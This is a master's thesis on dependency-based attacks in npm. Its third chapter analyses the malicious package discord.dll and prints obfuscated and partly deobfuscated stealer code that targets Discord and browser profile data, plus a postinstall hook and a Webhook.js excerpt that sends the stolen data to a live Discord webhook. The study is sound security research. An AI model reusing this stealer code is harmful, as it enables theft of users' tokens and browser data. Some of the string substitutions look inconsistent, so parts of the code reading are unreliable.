Empirical study on exploitation of dependency-based attacks in Node.js

by

Danny Yip Yi Kang

A thesis submitted to the graduate faculty

in partial fulfillment of the requirements for the degree of

MASTER OF SCIENCE

Major: Computer Engineering (Secure and Reliable Computing)

Program of Study Committee:
Lotfi Ben Othmane, Co-major Professor
Doug Jacobson, Co-major Professor
Diane Rover

The student author, whose presentation of the scholarship herein was approved by the program of study committee, is solely responsible for the content of this dissertation/thesis. The Graduate College will ensure this dissertation/thesis is globally accessible and will not permit alterations after a degree is conferred.

Iowa State University

Ames, Iowa

2022

TABLE OF CONTENTS

Page

LIST OF TABLES

Page

ACKNOWLEDGMENTS

First and foremost, I would like to express my deep and sincere gratitude to Dr. Lotfi Ben-Othmane for giving me this valuable opportunity to do research and providing guidance and support throughout the research. I would also like to thank Dr. Doug Jacobson and Dr. Diane Rover for being my committee member and supporting me in carrying out my thesis. I am thankful that Ax Sharma, a Security Researcher/Engineer, Tech Columnist from Sonatype, provide us with the malicious package of discord.dll. Last but not least, I am extremely grateful to my family and friends, who always encouraged and assisted me through this stage.

ABSTRACT

Node.js is a server-side platform built on Google Chrome's JavaScript. Node.js developers share packages through the Node Package Manager (NPM) repository as open-source Node.js packages. Developers use packages published in the NPM repository as dependencies to their software with the understanding that the dependencies provide services to their software. By construction, Node.js allows dependencies to inspect the calling package and even overwrite its behavior, which we call dependency-based attacks. This thesis describes cases of dependency-based attacks and reports about our study to assess their frequency. First, we selected and analyzed two highly rated Node.js dependency-based malicious packages: a prototype pollution package and Discord.dll. Then, we identified the recent dependencies attacks from the reported Node.js attacks and associated vulnerabilities published in the Synk Vulnerability Database and NPM Security advisories and analyzed their behavior. Out of the 726 studied vulnerabilities, we found 111 prototype pollution packages (including code that changes the way JavaScript's root Object behaves) and 11 malicious modules that exploit the dependency-based weaknesses, 16.8% of the packages. We conclude that dependency attacks on calling modules have become common and need attention given their high impact.

CHAPTER 1. INTRODUCTION

In recent decades, Node.js has become more popular. Node.js can helped client-server development integration, assisting the reusability of code in web applications, and it is the best tool to develop fast and scalable network applications. Node.js applications use third-party JavaScript modules as dependencies. Users need to download and install the packages in a few simple commands, but since Node.js is open source, it is always available to the public because there is no restriction or checks. The community shares and distributes these modules through the NPM repository. The NPM grows rapidly, and at the same time, it brings security-related attacks, especially in dependency-based attacks. Threat agents can sneak malicious packages into the popular Node.js platform and steal sensitive information like environment variables and running processes. In this paper, we investigated a dependency-based attack, which inherits JavaScript.

1.1 The Problem

Since there are more than a million NPM packages, developers might have used some packages with dependency-based attack vulnerabilities as they are hard to be detected. Therefore, we decided to collect vulnerabilities from the vulnerability database, determined which vulnerability category has more dependency-based attacks, and analyzed their common pattern.

This thesis addresses the following questions:

1. What are the frequency of dependency-based attacks in the vulnerability database from 2019 to 2021?
2. What are the attack patterns for prototype pollution and malicious module?
3. Why are prototype pollution and discord.dll(malicious module) considered dependency-based attacks, and how do they exploit vulnerabilities?

1.2 Approach

First, we analyzed the vulnerability listed in the NPM advisory database and collected information that includes the vulnerability, date, URL, package name, description, steps to reproduce, severity, latest patch, dependency attack, removed, and source. Then, we analyzed the vulnerability description, GitHub commits, and additional links provided in the database to determine if it is related to a dependency attack. Some of it was hard to determine, as the code was already removed, and it was hard to find on the internet, which might have affected the accuracy of our final data. In the beginning, we used NPM advisory as our database, but we then realized that the Synk NPM vulnerability database contains more vulnerabilities. Therefore, we used the Synk NPM database to analyze 2021 vulnerabilities.

We then focused on malicious module and prototype pollution, analyzed how they perform the attacks, and classified the types of attack patterns. We examined an example of prototype pollution and a malicious module - Discord.dll. Finally, we discussed the statistic we collected and how to mitigate these vulnerabilities.

1.3 Contributions

The main contributions of this thesis included :

- Raise awareness about the dependency-based attack.
- Show that dependency-based attacks are a class of potential attacks to be concerned about.
- Collect 726 vulnerabilities from the NPM repository to analyze their relationship to dependency-based attacks.
- Analyze 156 real-world attack patterns and frequency of prototype pollution and malicious module related to the dependency-based attacks.
- Evaluate one of the malicious modules in the real world with the dependency-based attacks. This attack uses the real discord library as a dependency to attack the users.

1.4 Organization

This thesis is organized as follows. Chapter 2 provides information on the related work with the dependency-based attack in Node.js, especially in malicious modules and prototype pollution. Chapter 3 analyzes the malicious module of discord.dll and how it performs dependency-based attacks by using the real discord library. Chapter 4 discusses the exploitation of dependency-based attacks by collecting vulnerabilities analyzing the statistics and pattern of prototype pollution and malicious module, as they are mostly related to dependency-based attacks. Chapter 5 discusses the exploitation of dependency-based attacks, statistics and patterns, limitations of the work, challenges, and impact of the results. Chapter 6 concludes this thesis.

CHAPTER 2. RELATED WORK

This section briefly discusses the existing work-related dependency-based attack in Node.js. We discuss dependency-based attacks on Node.js, the vulnerabilities, and how they can be exploited.

Pfretzschner and Othmane identify how the threat agent can exploit the weakness of third-party dependencies and how to mitigate this vulnerabilities [9]. This thesis focuses on attacks including global leakage, global manipulation, local manipulation, and dependency tree manipulation, which are caused by the weakness of global variables, monkey patching, and loaded module cache. They propose three ways to mitigate these vulnerabilities. The first is to review all the dependencies manually, which is time-consuming, and the second is to change the design of Node.js, which will cause a huge change in Node.js. The most reasonable strategy is to use code analysis to detect these attacks.

Prachi [8] analyzes the vulnerabilities to understand the existence and concept of dependency-based attacks. She also manually verify the results of automatic static code analysis. She also verifies that some vulnerabilities can be exploited to launch a dependency-based attack.

Ohm et al. collected data set of NPM, Java(Maven Central), Python(PyPI), PHP(Packagist) Ruby(RubyGems), labeled as malicious and analyzed the attacks. These collections are automatized by parsing the information of malicious modules from the Synk database. They agree that these malicious modules will become a direct and transitive dependency for other packages. They analyze how the malicious code is injected manually by looking through all the source code. They find out that most recorded attacks from malicious code are contained in pre and post-install scripts, which are automatically executed during package installation by their dependent packages or dependency manager [7].

Vaidya et al. proposed a taxonomy of attack. They suggest improving the package's security. They suggest the best practice to reduce mistakes and how to enchants package manager software to avoid compromise. They found that malicious packages are hard to avoid as the open repository is too large, and it is too time-consuming to analyze all of them manually [15].

Zimmermann et al. proposed that the packages in NPM are increasing more than the number of maintainers, which leads to a problem in maintaining the code to avoid malicious attacks. These NPM packages are in a "small" world because most packages depend and rely on the other packages, which will also increase the security risk of thousands of other packages, and they are not individual cases. Finally, they proposed the best mitigation strategies is to find trusted maintainers and go through a code vetting process to reduce the risks of dependency-based attack [17].

Vu et al. proposed that open source packages are updated regularly, and the update might have malicious injection. It means that users might need to scan all the packages again every time they update, which is time-consuming and hard to be managed. They proposed LastPyMile, which greatly reduces the vetting time by distinguishing the difference between the legacy and current source code. [16].

Liu et al. proposed a precise DVGraph for the NPM ecosystem to resolve dependency trees and study how the evolution of vulnerability propagates over time. They have insight that remediation that excludes more vulnerabilities than the existing NPM audit fix will be improved the whole NPM ecosystem [6].

Kim et al. developed DAPP, an automatic static analysis tool that discovers the proposed patterns in Node.js, generates abstract syntax trees and control graphs and performs a static analysis. This study has greatly improved the efficiency of analyzing the NPM packages. DAPP can be easily scaled with other vulnerabilities patterns, and it is a very efficient way to ensure the software safety of Node.js. It has been used to detect prototype pollution vulnerabilities, and it should be scalable to detect malicious modules according to the patterns that we have described in Chapter 4 [5].

CHAPTER 3. ANALYSIS OF AN EXAMPLE OF DEPENDENCY-BASED ATTACK - THE CASE OF MALICIOUS PACKAGE DISCROD.DLL

3.1 Introduction

This chapter analyzes an example of exploitation of dependency-based attack in Node.js - discord.dll. We need to understand why and how a dependency-based attack can be a potential threat to the software supply chain in the future.

3.2 Malicious Module - Discord.dll

Discord.dll-1.0.0 is a malicious NPM package, and it stays undetected for five months on the NPM repository. It contains multiple obfuscated JS files, makes is difficult to deobfuscate and reverse engineer. This package is designed to steal users' sensitive information like IP addresses and PC usernames. The main reason it is a dependency-based attack is that this Discord.dll package, using the real discord.js library to steal users' information.

To dive deep into our investigation, we emailed the author of Sonatype, who is Ax Sharma, a Security Researcher/Engineer, Tech Columnist from Sonatype. He shared nine original files in discord.dll, but all of it is obfuscated. Then, we figured out ways to deobfuscate the deobfuscated files and analyze what it is trying to do in the next subsection.

The files in discord.dll include:

- App.js
- Package.json
- Grabber.js
- Service.js
- Token.js
- User.js
- Util.js
- Verificator.js
- Webhook.js

3.2.1 Analyzed in Package.json

Sonatype found that this package is suspicious because there is a suspicious link to "JSTokenGrabber" in package.json [10]. Unfortunately, Listing 3.1 shows that the link in line 19 has already been removed since they first discovered this malicious package, and the link navigates to 404 Not Found error [10]. There are a few possibilities to explain this situation. First, the package.json is fake, and the GitHub author might have a similar name to the threat agent. Second, "JSTokenGrabber" is private visibility. Lastly, the author's account was being compromised by the threat agent so that the threat agent has the opportunity to inject malicious code into this discord.dll [10].

```
{
  "name": "discord.dll",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "dependencies": {
    "bluebird": "^3.7.2",
    "discord.js": "^11.6.4",
    "lodash": "^4.17.15",
    "promise-fs": "^2.1.1"
  },
  "devDependencies": {},
  "scripts": {
    "postinstall": "node ."
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/Luminate-D/JSTokenGrabber.git"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/Luminate-D/JSTokenGrabber/issues"
  },
  "homepage": "https://github.com/Luminate-D/JSTokenGrabber#readme"
}
```

Listing 3.1 A Suspicious Link to "JSTokenGrabber"

3.2.2 Analyzed in App.js

Since package.json is very suspicious, we decided to analyze the source code by deobfuscating all the files. We were not able to understand the obfuscating code at first, so we tried to beautify the code and guess the meaning of the variables. Unfortunately, it was too challenging because there were too many lines of code, and it was very time-consuming. I used www.jsnice.org, an online tool to deobfuscate the code [18]. Using this tool helps to deobfuscate, beautify, and reveal meaningful information which will be shown in the later section. The deobfuscated code is still hard to read and understand because there are still base-64 encoding strings.

```
const _0x4995=['\x5a\x6c\x68\x79\x59\x58\x49\x3d','\x55\x6d\x6c\x6a\x61\x45\x56\
    x74\x59\x
6d\x56\x6b','\x59\x32\x39\x75\x63\x33\x52\x79\x64\x57\x4e\x30\x62\x33\x49\x3d','\
    x5a\x47\
x6c\x7a\x59\x32\x39\x79\x5a\x43\x35\x71\x63\x77\x3d\x3d','\x57\x6b\x39\x72\x51\x58
    \x51\x3
d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x74\x61\x58\x49\x74\x63\x7a\x4d\
    x74\x59\
x32\x52\x75\x4c\x57\x4e\x6d\x4c\x6d\x4a\x6c\x61\x47\x46\x75\x59\x32\x55\x75\x62\
    x6d\x56\x
30\x4c\x33\x42\x79\x62\x32\x70\x6c\x59\x33\x52\x66\x62\x57\x39\x6b\x64\x57\x78\x6c
    \x63\x7
9\x39\x6b\x61\x58\x4e\x77\x4c\x7a\x51\x79\x4e\x44\x6b\x34\x59\x54\x49\x79\x4e\x7a\
    x49\x34
\x4e\x54\x59\x7a\x4c\x6a\x55\x32\x4d\x44\x51\x32\x4f\x57\x59\x34\x4f\x54\x4d\x33\
    x4f\x54\
x51\x75\x63\x47\x35\x6e','\x55\x6d\x39\x68\x62\x57\x6c\x75\x5a\x31\x78\x6b\x61\x58
    \x4e\x6
a\x62\x33\x4a\x6b\x63\x48\x52\x69','\x63\x32\x56\x30\x52\x47\x56\x7a\x59\x33\x4a\
    x70\x63\
x48\x52\x70\x62\x32\x34\x3d'];
```

Listing 3.2 Obfuscated App.js

```
//obfuscated code and hardly readable
(function(_0x6e820b,_0x49958d){const
_0x5cc3cd=function(_0x29b47a){while(--_0x29b47a){_0x6e820b['push'](_0x6e820b['
    shift']());
}};const _0x498d5c=function(){const
_0x478fc9={'data':{'key':'cookie','value':'timeout'},'setCookie':function(
    _0x260c9a,_0x25
27a8,_0x2a186e,_0xd1edfc){_0xd1edfc=_0xd1edfc||{};let
_0x658afd=_0x2527a8+'='+_0x2a186e;let _0x3fdfdc=0x0;for(let
_0x550072=0x0,_0x3f609f=_0x260c9a['length'];_0x550072<_0x3f609f;_0x550072++){const
_0x412e9c=_0x260c9a[_0x550072];_0x658afd+=';\x20'+_0x412e9c;const
_0x385438=_0x260c9a[_0x412e9c];_0x260c9a['push'](_0x385438);_0x3f609f=_0x260c9a['
    length']
;if(_0x385438!==!![]){_0x658afd+='='+_0x385438;}}_0xd1edfc['cookie']=_0x658afd;},'
    removeC
ookie':function(){return'dev';},'getCookie':function(_0x5ea09f,_0x1a341f){
    _0x5ea09f=_0x5e
```

Listing 3.2(Continued)

```
// base-64 encoding string which we still need to decode it later
const String_Array = ["ZlhyYXI=", "UmljaEVtYmVk", "Y29uc3RydWN0b3I=", "
    ZGlzY29yZC5qcw==","Wk9rQXQ=","
    aHR0cHM6Ly9taXItczMtY2RuLWNmLmJlaGFuY2UubmV0L3Byb2plY3RfbW9kdWxlcy9kaXNwLzQy
NDk4YTIyNzI4NTYzLjU2MDQ2OWY4OTM3OTQucG5n", "Um9hbWluZ1xkaXNjb3JkcHRi", "
    c2V0RGVzY3JpcHRpb24=", "Li9jbGFzc2VzL0dyYWJiZXI=", "YApJUHY0OiBg", "
    VG9rZW4gR3JhYmJlcg==", "bHNTUHc=", "ZWxZYkU=", "YApgYGB5YW1sCg==", "
    Um9hbWluZ1xPcGVyYSBTb2Z0d2FyZVxPcGVyYSBTdGFibGU=", "Y29tcGlsZQ==", "aUNydng=",
    "WWFuZGV4", "YUJGSFI=", "R29vZ2xlIENocm9tZQ==",
"cmV0dXJuIC8iICsgdGhpcyArICIv", "cW1aV0Y=", "YXBwbHk=","RGlzY29yZA==","QnJhdmU=",
"VUZNZkk=", "Li9jbGFzc2VzL1dlYmhvb2s=", "c2V0Q29sb3I=", "Z1d3VXY=", "WlpIcGk=",
"S1RaUEM=", "RGlzY29yZCBDYW5hcnk=", "dm5WanI=", "QU53Y1E=", "c2V0QXV0aG9y", "
    SkVaYXE=", "T3BlcmE=", "RGtLaEc=", "Um9hbWluZ1xkaXNjb3JkY2FuYXJ5",
"XihbXiBdKyggK1teIF0rKSspK1teIF19","Li9jbGFzc2VzL1NlcnZpY2U=","ZGtDWW0=","R3p4ck4
    =","eFprRXQ=", "RGlzY29yZCBQVEI=","
    TG9jYWxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YVxEZWZhdWx0", "eGZ1eGw
    =","UEMgVXNlcm5hbWU6IGA=", "aUVHamc=", "dGVzdA==", "c2VuZA==","
    TG9jYWxcWWFuZGV4XFlhbmRleEJyb3dzZXJcVXNlciBEYXRhXERlZmF1bHQ=", "cEt2V0g=", "
    c3V6Rlk="];
//beautify, and more meaningful code.
(function(params, data) {
  const fn = function(selected_image) {
    for (; --selected_image;) {
      params["push"](params["shift"]());
    }
  };
```

Listing 3.3 Deobfuscated App.js

```
const build = function() {
  const target = {
    "data" : {
      "key" : "cookie",
      "value" : "timeout"
    },
    "setCookie" : function(value, name, params, headers) {
      headers = headers || {};
      let cookie = name + "=" + params;
      let _0x3fdfdc = 0;
      for (let j = 0, jj = value["length"]; j < jj; j++) {
        const domain = value[j];
        cookie = cookie + ("; " + domain);
        const path = value[domain];
        value["push"](path);
        jj = value["length"];
        if (path !== !![]) {
          cookie = cookie + ("=" + path);
        }}
      headers["cookie"] = cookie;
    },
    "removeCookie" : function() {
      return "dev";
    },
    "getCookie" : function(match, href) {
      match = match || function(canCreateDiscussions) {
        return canCreateDiscussions;};
      const matches = match(new RegExp("(?:^|; )" +
      href["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)"));
      const decode = function(input, isBinaryData) {
        input(++isBinaryData);};
```

Listing 3.3(Continued)

Listing 3.2 shows the code of App.js before deobfuscated. From Listing 3.3, we can see that it is more readable to have meaningful wordings, which makes it easier to read and understand after being deobfuscated. It does not mean that we can analyze the code from here. The challenge we faced next was that there were still many unknown hex values non-readable syntax. In addition, Listing 3.3 at lines 2 to 7 shows that the string array had been deobfuscated, but there are in base-64 encoding.

Listing 3.4 is a JavaScript file that convert base-64 encoded string to something more readable. Using this script, we could convert the base-64 string in App.js and the base-64 string in the other 7 JavaScript files. After some effort, we found that all the 8 JavaScript files mentioned in section 3.2 have base-64 encoding array strings at line 1, which can always be converted using "atob" function, which will decode a base-64 encoded string to some readable strings.

```
<!DOCTYPE html>
<html>
<body>
<h2>JavaScript Arrays</h2>
<p id="demo"></p>

<script>
const words = ["ZlhyYXI=", "UmljaEVtYmVk", "Y29uc3RydWN0b3I=", "ZGlzY29yZC5qcw==",
"Wk9rQXQ=", "aHR0cHM6Ly9taXItczMtY2RuLWNmLmJlaGFuY2UubmV0L3Byb2plY3RfbW9kdWxlcy9
kaXNwLzQyNDk4YTIyNzI4NTYzLjU2MDQ2OWY4OTM3OTQucG5n", "Um9hbWluZ1xkaXNjb3JkcHRi",
"c2V0RGVzY3JpcHRpb24=", "Li9jbGFzc2VzL0dyYWJiZXI=", "YApJUHY0OiBg",
"VG9rZW4gR3JhYmJlcg==", "bHNTUHc=", "ZWxZYkU=", "YApgYGB5YW1sCg==",
"Um9hbWluZ1xPcGVyYSBTb2Z0d2FyZVxPcGVyYSBTdGFibGU=", "Y29tcGlsZQ==", "aUNydng=",
"WWFuZGV4", "YUJGSFI=", "R29vZ2xlIENocm9tZQ==",
"cmV0dXJuIC8iICsgdGhpcyArICIv", "cW1aV0Y=", "YXBwbHk=", "RGlzY29yZA==",
"QnJhdmU=", "VUZNZkk=", "Li9jbGFzc2VzL1dlYmhvb2s=", "c2V0Q29sb3I=", "Z1d3VXY=",
"WlpIcGk=", "S1RaUEM=", "RGlzY29yZCBDYW5hcnk=", "dm5WanI=", "QU53Y1E=",
```

Listing 3.4 Script to Convert Base-64 Encoded Strings

```
"c2V0QXV0aG9y", "SkVaYXE=", "T3BlcmE=", "RGtLaEc=",
"Um9hbWluZ1xkaXNjb3JkY2FuYXJ5", "XihbXiBdKyggK1teIF0rKSspK1teIF19",
"Li9jbGFzc2VzL1NlcnZpY2U=", "ZGtDWW0=", "R3p4ck4=", "eFprRXQ=",
"RGlzY29yZCBQVEI=", "TG9jYWxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YVx
EZWZhdWx0", "eGZ1eGw=",
"UEMgVXNlcm5hbWU6IGA=", "aUVHamc=", "dGVzdA==", "c2VuZA==",
"TG9jYWxcWWFuZGV4XFlhbmRleEJyb3dzZXJcVXNlciBEYXRhXERlZmF1bHQ=", "cEt2V0g=",
"c3V6Rlk="];

const arr = [];

//loop through the array of base-64 encoded string and use atob to decode it
for (let i = 0; i < words.length; i++) {
arr.push(atob(words[i])); // decode base-64 String
}

document.getElementById("demo").innerHTML = arr;
</script>

</body>
</html>
```

Listing 3.4(Continued)

```
fXrar
RichEmbed
constructor
discord.js
ZOkAt
https://mir-s3-cdn-cf.behance.net/project_modules/disp/42498a22728563.560469
    f893794.png
Roaming\discordptb
setDescription
./classes/Grabber
IPv4:
Token Grabber
lsSPw
elYbE
yaml
Roaming\Opera Software\Opera Stable
compile
iCrvx
Yandex
aBFHR
Google Chrome
return /" + this + "/
qmZWF
apply
Discord
Brave
UFMfI
./classes/Webhook
setColor
gWwUv
ZZHpi
```

Listing 3.5 List of String After Decoded

```
KTZPC
Discord Canary
vnVjr
ANwcQ
setAuthor
JEZaq
Opera
DkKhG
Roaming\discordcanary
^([^ ]+( +[^ ]+)+)+[^ ]}
./classes/Service
dkCYm
GzxrN
xZkEt
Discord PTB
Local\BraveSoftware\Brave-Browser\User Data\Default
xfuxl
PC Username:
iEGjg
test
send
Local\Yandex\YandexBrowser\User Data\Default
pKvWH
suzFY
```

Listing 3.5(Continued)

After the base-64 encoded string was decoded, we got some meaningful strings for all the 8 JavaScript files. Listing 3.5 shows the decoded string for App.js. Here, we know that "ZlhyYXI=" from Listing 3.4 at line 10 are actually "fxRAR" from Listing 3.5 at line 1. To make all the files easier to read, we manually replaced the hex value with the strings we obtained, making the source code more readable.

```
// _0x5cc3("hex") are hard to read and analyze
const _0x50c692 = require(_0x5cc3("0x24"))[_0x5cc3("0x22")];
const _0x4f15e6 = require(_0x5cc3("0x13"));
const _0x3cf16a = require(_0x5cc3("0x29"));
const _0x561476 = require(_0x5cc3("0x5"));
const {
  format : format,
  getUsername : getUsername,
  getIP : getIP,
  fetchTag : fetchTag
} = require("./classes/Util");
const _0x4689b6 = [new _0x4f15e6(_0x5cc3("0x2"), "Roaming\\Discord"), new
_0x4f15e6(_0x5cc3("0xa"), _0x5cc3("0x11"), !![]), new _0x4f15e6(_0x5cc3("0x17"),
_0x5cc3("0x27")), new _0x4f15e6(_0x5cc3("0x34"), "Local\\Google\\Chrome\\User
Data\\Default"), new _0x4f15e6(_0x5cc3("0xf"), _0x5cc3("0x2f"), !![]), new
_0x4f15e6(_0x5cc3("0x3"), _0x5cc3("0x18"), !![]), new _0x4f15e6(_0x5cc3("0x32"),
_0x5cc3("0x1e"), !![])];
_0x33c88d();
```

Listing 3.6 Before Replace String

```
//replacing the hex with meaningful strings
const _0x50c692 = require(_0x5cc3("Opera"))[_0x5cc3("setAuthor")];
const _0x4f15e6 = require(_0x5cc3("Google Chrome"));
const _0x3cf16a = require(_0x5cc3("dkCYm"));
const _0x561476 = require(_0x5cc3("https://mir-s3-cdn-cf.behance.net/project_mod
ules/disp/42498a22728563.560469f893794.png"));
const {
  format : format,
  getUsername : getUsername,
  getIP : getIP,
  fetchTag : fetchTag
} = require("./classes/Util");
const _0x4689b6 = [new _0x4f15e6(_0x5cc3("constructor"), "Roaming\\Discord"),
new _0x4f15e6(_0x5cc3("iCrvx"), _0x5cc3("Yandex"), !![]), new
_0x4f15e6(_0x5cc3("Discord"), _0x5cc3("^([^ ]+( +[^ ]+)+)+[^ ]}")), new
_0x4f15e6(_0x5cc3("pKvWH"), "Local\\Google\\Chrome\\User Data\\Default"), new
_0x4f15e6(_0x5cc3("compile"), _0x5cc3("PC Username:"), !![]), new
_0x4f15e6(_0x5cc3("discord.js"), _0x5cc3("Brave"), !![]), new
_0x4f15e6(_0x5cc3("send"), _0x5cc3("KTZPC"), !![])];
_0x33c88d();
```

Listing 3.7 After Replace String

For example, Listing 3.6 shows a part of code in app.js. There are multiple hex values which do not have any meaningful values, but it makes sense after these hex values are changed to meaningful strings, as shown in Listing 3.7. Once strings replace all the hexes, it is much easier for us to analyze what is going on in App.js. App.js did a few malicious activities, and one of them tried to get users' google chrome information.

From Listing 3.7, we can see that it tried to get Username IP address using one of the malicious files in discord.dll, which is Util.js from lines 7 to 12. In line 13, it got into "Roaming

Discord," which contains the user's local data for Discord. In line 16, it tries to get the user's information from the path "Local//Google//Chrome//User Data//Default". In line 18, it used discord.js and sent the information at line 19.

```
_0x21aa8[_0x5cc3("Discord PTB")] = function(body, idx) {
  return range[_0x5cc3("lsSPw")](body, idx);
};
_0x21aa8[_0x5cc3("./classes/Grabber")] = _0x5cc3("Roaming\Opera
Software\Opera Stable");
const command_codes = _0x21aa8;
if (range[_0x5cc3("ZOkAt")](range["tbVJJ"],
range[_0x5cc3("Local\Yandex\YandexBrowser\User Data\Default")])) {
  const _0x35537b = fn[_0x5cc3("RichEmbed")](context, arguments);
  /** @type {null} */
  fn = null;
  return _0x35537b;
} else {
  const _0x243df6 = _0x47eef1 ? function() {
    const _0x830385 = {};
    /**
     * @param {?} data
     * @return {?}
     */
    _0x830385[_0x5cc3("Local\BraveSoftware\Brave-Browser\User
    Data\Default")] = function(data) {
      return command_codes[_0x5cc3("qmZWF")](data);
    };
    const _0x1822b1 = _0x830385;
```

Listing 3.8 Steal User's Information from Browsers

```
        if (deferred) {
          if (command_codes[_0x5cc3("Discord
          PTB")](command_codes[_0x5cc3("./classes/Grabber")],
          command_codes[_0x5cc3("./classes/Grabber")])) {
            const _0x52aecf = deferred[_0x5cc3("RichEmbed")](value,
            arguments);
            /** @type {null} */
            deferred = null;
            return _0x52aecf;
          } else {
            const TheHoff = function() {
              const _0x1d68cb =
              TheHoff["constructor"](_0x5cc3("suzFY"))()[_0x5cc3("iEGjg")](_0x
              5cc3("aBFHR"));
              return !_0x1d68cb[_0x5cc3("gWwUv")](_0x29b47a);
            };
            return hPLgaR[_0x5cc3("Local\BraveSoftware\Brave-Browser\User
            Data\Default")](TheHoff);
          }
        }
      } : function() {
      };
      /** @type {boolean} */
      _0x47eef1 = ![];
      return _0x243df6;
    }
  };
```

Listing 3.8(Continued)

In addition, as shown in Listing 3.8, it stole the user's Browser's information using Discord PTB. Discord PTB is a test tool for the Discord stable version. Discord PTB is used for beta

testing before they released it to the real Discord community that all users can download for free [3].

From Listing 3.8, we can see that it is trying to use grabber class to grab and return information from Opera at line 4. On lines 7 and 20, it went to the path "Local/Yandex/YandexBrowser/User Data//Default" and path "Local/BraveSoftware/Brave-Browser/User Data/Default" to get user's data from Yandex Browser and Brave Browser, respectively. To send this information, it used "RichEmbed" at line 29 from discord.js to clone or raw embedded data with the help of a Grabber class and Discord PTB. Discord.RichEmbed has been removed in version 12, and it is now Discord.MessageEmbed [1].

```
async function _0x3e46d6(result) {
  const _0x2cd146 = {};
  _0x2cd146[_0x5cc3("apply")] = _0x5cc3("xZkEt");
  _0x2cd146[_0x5cc3("test")] = _0x5cc3("Roaming\discordcanary");
  /**
   * @param {?} saveNotifs
   * @return {?}
   */
  _0x2cd146[_0x5cc3("DkKhG")] = function(saveNotifs) {
    return saveNotifs();};
  const _0x4e2e50 = _0x2cd146;
  let _0x227508 = (new
  _0x50c692)[_0x5cc3("Roaming\discordptb")](229372)[_0x5cc3("yaml")](_0x4e2e50[_
  0x5cc3("apply")], _0x4e2e50[_0x5cc3("test")])[_0x5cc3("./classes/Service")](_0
  x5cc3("./classes/Webhook") + getUsername() + _0x5cc3("GzxrN") + await
  _0x4e2e50[_0x5cc3("DkKhG")](getIP) + _0x5cc3("xfuxl") + await format(result) +
    "‘‘‘");
  return _0x227508;}
```

Listing 3.9 Use of Discord Canary

Listing 3.9 is also a part of the source code in app.js. In lines 4 and 14, it tries to access the path of "Roaming/discordcanary" and "Roaming/discordptb" respectively. Discord Canary is very similar to Discord PTB, but it releases beta features earlier than Discord PTB. Discord testers use this, but anyone else can use it [3]. In line 15, there is a command of "apply" using Service.js as its dependency. Line 16 uses Webhook.js as a dependency to send the username and IP address to an API link, which we will discuss in the next section.

3.2.3 Leaked Data with Webhook.js

Webhook.js is one of the malicious files responsible for sending all data collected to an API link, which we believe is a database to collect users' information. Listing 3.10 shows that it is trying to export and send user's information at line 11, to a link of "https://discordapp.com/api/webhooks/716005310975967333/sDTiDG6RfB99eEfc5NNUNr-lUykD3QkdKl0HRiNw2mUaZvXLxPGjG1dtsGFij1L5rRjj/", at lines 1 and 2. In line 4, it uses the official "discord.js" library to perform the export of information. We track the link, but it has already been removed. We did not have enough information for this link, as it has already been removed since this malicious package was first discovered.

```
1  const _0x92ab0 = "716005310975967333";
2  const _0x1b6b6d = "sDTiDG6RfB99eEfc5NNUNr-lUykD3QkdKl0HRiNw2mUaZvXLxPGjG1dtsGFij
3  1L5rRjj";
4  const _0x15e4ca = require("discord.js");
5  /**
6   * @param {?} PL$126
7   * @return {undefined}
8   */
9  module[_0x44c0("pbOnj")][_0x44c0("exports")] = (PL$126) => {
10   let PL$123 = new _0x15e4ca["WebhookClient"](_0x92ab0, _0x1b6b6d);
11   PL$123["send"](PL$126);};
```

Listing 3.10 Webhook Sending User's Data to a Database

3.3 Conclusion

In conclusion, discord.dll uses a post-install script and call app.js webhook.js locally to use a real discord library to send data to a remote server. The data that it steals includes web browser files and IP address and PC username [10]. We want to raise awareness and show that there is a potential attack in that a malicious package uses a non-malicious package to perform an attack. It is a serious issue as discord.js did not contain malicious code, but it is being misused by discord.dll to exploit the weakness of Node.js.

CHAPTER 4. EXPLOITATION OF DEPENDENCY-BASED ATTACK

4.1 Introduction

There are two types of malicious NPM packages: (1) malicious packages that perform malicious actions, such as ex-filtrate sensitive information, and (2) malicious packages that manipulate the behavior of other application packages to have them perform malicious actions, which we call *dependency-based* attack. A dependency-based attack uses non-malicious dependency to perform an attack on the Node.js application. For example, an evil package tries to trick a non-malicious dependent into performing an attack. Another example is where a malicious code can be used to modify an initially non-malicious property of an object or function to perform an attack. Generally, the dependencies themselves did not contain malicious code, but another malicious package is misusing it to exploit the weakness of Node.js. This chapter focuses on the one that made their dependency malicious–category 2.

In this chapter, we used Synk vulnerability database [13], and NPM Security advisories [2] as our database. From the data we collect, the most common NPM vulnerabilities are malicious module, cross-site scripting, command injection, SQL injection, directory traversal, denial of service, prototype pollution, bypass, code execution, code injection. With all the data and results that we analyze, we should be able to visualize the number of vulnerabilities that are related to the dependency-based attack.

4.2 Data Collected and Statistic

We collected important information mainly from the Synk database and listed them inside an excel document. The parameters we have are the vulnerabilities, date, URL, package name, vulnerabilities description, steps to reproduce, severity, latest patch, dependency attack, removed, and source.

Table 4.1 All Vulnerabilities Collected

Database	Date start	Date End	Count
NPM advisory [2]	January 2019	April 2019	74
NPM advisory [2]	January 2020	December 2020	131
NPM advisory [2] & Synk [13]	January 2021	13 October 2021	521
			Total: 726

We go through the vulnerability description, git hub commits, and additional links provided in the database to determine if it is related to a dependency attack. Some of it is hard to be determined, as the code has already been removed, and it is hard to find on the internet.

Table 4.1 shows the numbers of NPM vulnerabilities that we collect, which might or might not relate to a dependency-based attack. We use NPM advisory as our database, but we realize that the Synk NPM vulnerability database contains more vulnerabilities. Therefore we used the Synk NPM database to analyze 2021 vulnerabilities. The period of data collected is from January 2019 April 2019, January 2020 December 2020, and January 2021 to 13 October 2021. Our analysis stopped in April 2019 and 13 October 2021 because we did not have enough time and limited human resources. Although Github contains some of the records of source code changes, they are not complete, and some have been removed or hidden. It prevents us from analyzing the source code of all packages. We determine if it is a dependency-based attack according to the vague vulnerabilities description.

